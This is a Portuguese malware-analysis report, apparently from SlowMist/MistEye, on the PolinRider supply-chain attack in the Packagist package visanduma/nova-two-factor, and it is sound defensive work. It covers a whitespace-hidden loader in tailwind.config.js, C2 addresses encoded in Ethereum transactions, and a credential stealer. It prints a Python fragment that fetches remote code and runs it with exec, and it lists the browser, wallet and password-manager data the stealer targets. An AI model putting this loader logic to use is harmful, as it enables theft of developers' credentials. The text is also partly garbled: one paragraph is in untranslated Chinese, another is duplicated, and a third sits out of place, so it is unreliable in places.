Contexto
O sample vem de um branch de desenvolvimento do pacote de extensão do Laravel Nova `visanduma/nova-two-factor`, pertencente à campanha PolinRider. Trata-se de um pacote PHP publicado no Packagist; até a data da análise deste artigo, o número total de downloads já ultrapassou 700 mil.
A cadeia de entrega não grava o endereço C2 no sample. O código injetado primeiro consulta o Ethereum: a partir do endereço de recebimento em uma transação, extrai os IPs de dois servidores; em seguida, recupera a carga útil subsequente via HTTP. Para trocar de servidores, o atacante só precisa enviar uma nova transação na cadeia; não é necessário reinocular este pacote.
O destino desta cadeia é um roubador de credenciais multiplataforma que coleta contas e cookies do navegador, dados de carteiras criptográficas, dados de bases de dados de gerenciadores de senhas e credenciais de desenvolvimento.
O payload remoto obtido nesta rodada foi obtido de forma real nesta mesma execução e decodificado offline. A decodificação só faz transformações de XOR, zlib e base64, sem executar qualquer conteúdo baixado. As conclusões da análise vêm do código estático e das respostas remotas; ainda não há evidências no lado da vítima de que essas ações de roubo tenham ocorrido com sucesso.
Resposta do MistEye
O MistEye é um sistema de monitoramento dinâmico de ameaças e inteligência Web3 desenvolvido de forma independente pela SlowMist. Ele integra capacidades de monitoramento de segurança e agregação de inteligência, fornecendo aos usuários alertas de risco em tempo real e proteção de ativos.
O MistEye sincronizou o risco em tempo hábil por meio de push de inteligência e canais de alertas aos clientes.

A seguir, uma análise técnica detalhada.
cadeia de ataque

A imagem acima é o diagrama de relacionamento reconstruído com base no código e nos resultados da captura.
Da configuração em uma linha ao mapeamento na cadeia
O código implantado fica escondido no final do arquivo de configuração. As primeiras 10 linhas do arquivo são configurações normais do Tailwind; na linha 11, termina com uma chave normal de fechamento “};” e, em seguida, vêm 507 espaços em branco. Só depois dos espaços é que o código começa a ser executado. Essa sequência de espaços faz com que a janela estreita mostre apenas um fim aparentemente normal, mas não muda a semântica de execução do JavaScript: atribuir valor ao module.exports não encerra a execução do módulo. O ponto de disparo também está no sample: os scripts development, watch, production etc. do package.json apontam para Laravel Mix. O webpack.mix.js passa tailwind.config.js como caminho de configuração ao plugin do PostCSS. O Tailwind 3.1.8, no setupTrackingContext.js, lê essa configuração via require(userConfigPath). Essa etapa executa o código de nível superior do módulo de configuração.
O carregador obtém o endereço atual do C2 por meio de transações do Ethereum. O atacante codifica dois endereços IPv4 no endereço de recebimento da transação; o sample extrai essas informações das transações de um endereço de envio fixo e, em seguida, baixa o payload subsequente via HTTP. Assim, o atacante pode publicar novas transações para atualizar o endereço do servidor de entrega, sem precisar modificar o arquivo de configuração já implantado.
O código malicioso primeiro inicializa suas próprias variáveis globais e, em seguida, executa consultas na cadeia. A consulta lê o campo to das transações: remove o prefixo 0x, reconverte o restante para bytes em hexadecimal, em que os primeiros 4 bytes são um IPv4; do byte 4 ao byte 8 é o segundo; e os 12 bytes restantes não são usados. O resultado efetivamente decodificado nesta rodada é 166[.]88[.]134[.]75; os dois IPs são iguais, e os últimos 12 bytes são um marcador em texto claro: helloipbot!!.

O carregador consulta transações candidatas em torno do limite de cada mil blocos; a partir dessas transações, extrai o endereço de C2 codificado. Os dados on-chain mostram que essa consulta depende do atacante mantendo batimentos cardíacos: perto de cada limite de mil, há uma nova transação. Nesta rodada, as 392 transações puxadas são todas transferências de zero valor, com calldata vazio. O gasUsed é 21000 e a única informação carregada é o próprio endereço to. O endereço também é atualizado periodicamente; os cinco períodos mais recentes correspondem respectivamente a 166[.]88[.]134[.]62, 23[.]27[.]13[.]135, 166[.]88[.]73[.]46, 193[.]247[.]144[.]38 e o desta rodada 166[.]88[.]134[.]75.

Após finalizar o mapeamento, o código inicia uma solicitação à porta 443 do IP decodificado e recupera /0x/cls e /0x/ls. Há um detalhe fácil de ser desviado pelo número da porta: o scheme da URL é http: e é chamada a http.request; o 443 é apenas a porta, não TLS. Os dois payloads são decodificados por XOR em loop e depois entregues à mesma função de execução, rodando em um processo filho Node “desprendido”. No caminho /0x/cls, antes de iniciar o processo filho, ele também avalia uma vez no processo atual; se essa avaliação lançar erro, encerrar o processo ou não retornar por muito tempo, os processos filhos seguintes podem nem chegar a ser executados.
Vale mencionar que usamos o MistTrack para analisar o endereço malicioso 0xa322e5f3d311d3080e6f0121063e9adc2490ef1a; o capital inicial dele veio do FixedFloat.

Três ferramentas, três responsabilidades
As duas rotas de carregamento finais correspondem a três componentes. O número de interfaces é maior do que o de componentes, pois algumas interfaces fornecem o mesmo conteúdo com codificações diferentes ou rotas alternativas: o campo body da resposta de /0x/clb e o corpo da resposta de /0x/cb, após decodificação individual, geram o mesmo código; /0x/js e o campo inz na resposta são idênticos byte a byte.
/0x/cls o que é puxado é o componente de controle remoto clb, com um canal de instruções do Socket.IO. Ele pode buscar e executar o Python no endereço especificado pelo operador. O carregador responsável por obter e executar o clb, o cls, também inclui uma lógica de retorno em caso de falha: se ocorrer um erro, ele monta um texto com os valores de os.hostname(), os.userInfo().username, os.type() e os.release() e envia via POST para /verify-human/<marcado>.
O campo inz no mesmo response, além da cópia fornecida separadamente em /0x/js, é outro carregador de reinfecção inz. Ele usa ofuscação com codificação em várias camadas de strings, controle de fluxo “flattening” dirigido por estado de array e despacho de funções indireto. Após expansão estática, é possível ver que ele traz uma lógica própria para mapeamento na cadeia: usa o mesmo endereço de envio do Ethereum e o mesmo campo to para conversão para IPv4; em seguida, solicita /0x/cls para buscar o componente de controle remoto e executa-o no processo atual ou em um processo filho separado. O componente de controle remoto clb também tem a capacidade de escrever este carregador no script da aplicação hospedeira; quando o hospedeiro carregar esse trecho de código no futuro, ele reentrará nesse fluxo de mapeamento e carregamento.
/0x/ls devolve o componente de carregamento Python boot. A restauração estática mostra que o boot faz upload de parte das variáveis de ambiente para /snv e inicia o download do restante payload em Python.
url = f'{{GLOBAL_H}}/$/{id}' # id fixado como '1'
Request._code = urlopen(Request(url, headers=H)).read().decode('utf-8')
exec(Request._code)
Quando o urlopen falha, ele faz fallback para o curl do sistema. O texto obtido pelas duas rotas é entregue ao exec sem nenhuma validação.
在本轮请求这些路径时,服务器给出了不一致的回应。HEAD /$/1 返回 404,GET /$/1 返回 200 和 36.485 字节正文,Last-Modified 每次都等于该次请求的时刻。同样的方式请求 /d/python.zip、/d/python.7z、/d/7zr.exe 三个路径,全部返回 500。
Coletor de credenciais multiplataforma
O último payload obtido nesta etapa, após decodificação Base64 e descompressão zlib, é um script Python de 89.149 bytes.
O código malicioso primeiro inicializa suas próprias variáveis globais e, em seguida, executa consultas na cadeia. A consulta lê o campo to das transações: remove o prefixo 0x, reconverte o restante para bytes em hexadecimal, em que os primeiros 4 bytes são um IPv4; do byte 4 ao byte 8 é o segundo; e os 12 bytes restantes não são usados. O resultado efetivamente decodificado nesta rodada é 166[.]88[.]134[.]75; os dois IPs são iguais, e os últimos 12 bytes são um marcador em texto claro: helloipbot!!.
Contas do navegador, sessões e informações de pagamento: abrange navegadores Chromium como Chrome, Edge, Brave, Arc, além do Firefox; lê bancos de dados de login, cookies e Web Data e tenta descriptografar e exportar. Algumas rotas do Chromium também envolvem dados de cartões de pagamento. Também há lógica de cópia de configurações e dados de extensões do Firefox.
Dados de carteiras e aplicações de carteira: arquivos de carteiras como Exodus, Electrum, Atomic, Monero; id.json da Solana; armazenamento de extensões como MetaMask e Phantom; e dados de aplicações desktop como Ledger Live e Trezor Suite. Ele busca e copia arquivos ou diretórios com base em caminhos e IDs de extensão predefinidos.
Dados de gerenciadores de senha: bancos de dados locais, cache e configurações de apps e extensões como 1Password, Bitwarden, NordPass, KeePass/KeePassXC, Dashlane e LastPass. Ele copia os arquivos e diretórios correspondentes; parte dos bancos SQLite são coletados junto com arquivos de log.
Credenciais de desenvolvimento e variáveis de ambiente: arquivos de credenciais do Git, hosts.yml da GitHub CLI, status local do VS Code, logs do GitHub Desktop e variáveis de ambiente do processo atual. Copia arquivos e exporta variáveis de ambiente como JSON e texto; isso pode incluir tokens de acesso injetados em ambientes de desenvolvimento ou de build.
Armazenamento de credenciais do sistema: gerenciador de credenciais do Windows e entradas do conjunto padrão do Linux Secret Service. Ele chama as interfaces do sistema para enumerar e tenta ler o conteúdo das credenciais às quais a conta atual consegue acessar.
Para dados do navegador, o sample tanto replica o banco de dados original quanto inclui lógica que chama o Windows DPAPI, macOS Keychain e Linux Secret Service/KWallet para obter materiais de descriptografia, tenta restaurar campos sensíveis e exportar o texto em claro. Se isso será bem-sucedido depende de o(s) segredo(s) ou interface(s) de descriptografia necessária(s) estarem disponíveis, de autorização de acesso e de o formato dos dados do navegador ser compatível.
O样本 também procura caminhos como /mnt/*/Users/*/AppData/... para tentar ler diretórios de usuários do Windows montados. Portanto, o escopo de coleta pode se estender a outras partições do sistema às quais a conta atual consegue acessar; o conteúdo efetivamente legível ainda é limitado pelo status de montagem e pelas permissões de arquivos.
Os resultados da coleta são gravados em diretórios locais e empacotados. O sample envia informações do host e contagens de coleta para /u/e e lê os parâmetros de upload do Telegram na resposta. Em seguida, faz upload do arquivo de arquivo via /u/f ou chama o Telegram sendDocument quando as condições do código são atendidas. A lógica de upload inclui tentativas, troca de host e processamento por fragmentos; após o sucesso, ele tentará remover o arquivo de arquivo local.
Este código também inclui duas limitações próprias. Quando o código de resposta é 429, ele sai imediatamente. “Blocked (BOT)” é a outra: o sample, quando não encontra seu identificador WSL2 no ambiente Linux, se a contagem de credenciais do sistema, a contagem de extensões e a contagem de perfis do Firefox forem todas zero, registra esse indicador e ignora o fluxo principal de coleta e upload subsequente. Antes dessa decisão, o sample já executou exportação de variáveis de ambiente, enumeração de credenciais do sistema e parte da varredura de diretórios.
Resumo
O que já foi confirmado é uma cadeia inteira de entrega, do empacotamento da configuração até o coletor de credenciais. O ponto de entrada é um carregador inserido em tailwind.config.js, acionado pela build do front-end. O mapeamento não depende de domínio: ele lê o campo to de uma transação na rede Ethereum. A terceira fase é composta por três componentes: componente de controle remoto clb, carregador de reinfecção inz e componente de carregamento boot responsável por estender até o Python. O destino é um coletor de credenciais, cobrindo três plataformas, com alvos incluindo credenciais do navegador, carteiras criptográficas, gerenciadores de senhas e credenciais de desenvolvimento.
O risco recai sobre as máquinas de desenvolvimento, containers de build e CI runners que executam o build do front-end. Contanto que o projeto tenha sido construído naquelas máquinas, o carregador tem oportunidade de ser executado; e uma vez que o coletor seja executado, credenciais do navegador, arquivos de carteira e tokens do GitHub que estejam acessíveis dentro do escopo de permissões da conta de execução podem ser lidos.
Recomendação
1. Verifique o composer.lock do projeto a jusante e confirme se visanduma/nova-two-factor caiu em versões maliciosas como dev-nova5; em seguida, valide snapshots do código-fonte desse pacote em qualquer instante por meio de hash de arquivos contra tailwind.config.js.
2. Em máquinas de desenvolvimento afetadas e em CI runner, busque registros de rede durante o período de build. Durante a construção do projeto, o processo Node faz solicitações JSON-RPC a vários endpoints RPC do Ethereum e também envia HTTP em texto claro para a porta 443 de um IP “nu”; a requisição ainda inclui o cabeçalho Sec-V.
3. Verifique se existe “node -e” na linha de comando do processo e se o prefixo contém global['_V'], além de processos Python iniciados por “py -c”. A rota que faz avaliação direta não cria novos processos; apenas checar “node -e” faria essa categoria de execução passar despercebida.
4. Depois de confirmar que a construção executou com sucesso, trate o host como comprometido. Em um ambiente limpo, faça rotação das senhas-mestre do navegador, das palavras-memória (seed phrases) e das chaves privadas da máquina que tiver sido usada, bem como do token da GitHub CLI e de outras credenciais de controle de versão que tenham aparecido nela. Em seguida, audite o acesso recente a essas contas.
5. Guarde o composer.lock, objetos Git locais e reflog, o tempo de construção, a versão do Node na época e as respostas da requisição HTTP original. Evite atualizar dependências ou reconstruir antes de a investigação ser concluída.
6. O bloqueio na rede deve seguir os IPs definidos na seção IOC deste documento; não bloqueie indiscriminadamente o domínio do Telegram, pois trata-se de um serviço público emprestado. Além disso, não se limite aos IPs: combine as verificações do host e da conta e verifique se na máquina de build há resquícios como arquivos de empacotamento/arquivamento, exportações de variáveis de ambiente e registros de conexões externas anormais.
IOC
IP
166[.]88[.]134[.]75
166[.]88[.]134[.]62
23[.]27[.]13[.]135
166[.]88[.]73[.]46
193[.]247[.]144[.]38
Endereço da carteira
0xa322e5f3d311d3080e6f0121063e9adc2490ef1a
Dependência maliciosa
Packagist:visanduma/nova-two-factor@dev-nova4support
Packagist:visanduma/nova-two-factor@dev-main
Packagist:visanduma/nova-two-factor@dev-using-inertia
Packagist:visanduma/nova-two-factor@dev-nova5
Arquivo malicioso
filename: tailwind.config.js
SHA256: 515a53291d25d229e1f9fa72e66407e1cfd7e77c91478400b24d5185af68531a
Este payload é voltado a dados sensíveis que a conta de execução consegue acessar. Inclui lógica de extração e descriptografia de credenciais de login, além de copiar diretamente arquivos de dados de carteiras, gerenciadores de senhas e ferramentas de desenvolvimento. Os alvos de coleta no código se dividem principalmente nas cinco categorias a seguir.
https://socket.dev/blog/polinrider-github-packagist
Sobre o MistEye
O MistEye é uma plataforma de inteligência de ameaças e monitoramento de segurança dinâmica Web3 desenvolvida de forma independente pela SlowMist. Por meio de APIs, ela fornece capacidades de detecção de atividades maliciosas e alertas preventivos de risco na supply chain no ecossistema de pacotes open source.
Todos os pacotes maliciosos e IOCs envolvidos nesta ação já foram integrados ao motor de detecção de ameaças do MistEye. Os desenvolvedores podem usar a API para fazer detecção automatizada das dependências do projeto, identificar rapidamente se houve correspondência com pacotes maliciosos conhecidos e obter recomendações de mitigação.
📖 Documentação da API:https://app.misteye.io/api-docs
🛠️ MistEye-DepScan:https://github.com/slowmist/MistEye-DepScan
Ferramenta CLI leve: com um único comando, varre dependências do projeto e pacotes globalmente instalados em busca de pacotes maliciosos conhecidos, oferecendo suporte aos ecossistemas npm / PyPI / Cargo / Go / RubyGems
🛠️ MistEye-Skills:https://github.com/slowmist/misteye-skills
Pacote de habilidades de segurança do assistente de codificação por IA, que aciona automaticamente as detecções de segurança do MistEye antes da instalação de dependências e do acesso a URL
🛠️ MistEye-DNS-Guard:https://github.com/slowmist/MistEye-DNS-Guard
Ferramenta de proteção de DNS, que detecta domínios maliciosos e acessos de risco e identifica ameaças de rede como phishing e C2
Este artigo foi escrito pela equipe de inteligência de ameaças da SlowMist em conjunto com o sistema de inteligência do MistEye e análises impulsionadas por IA do SlowMist Agent. Se houver qualquer dúvida, sinta-se à vontade para contatar e enviar feedback.

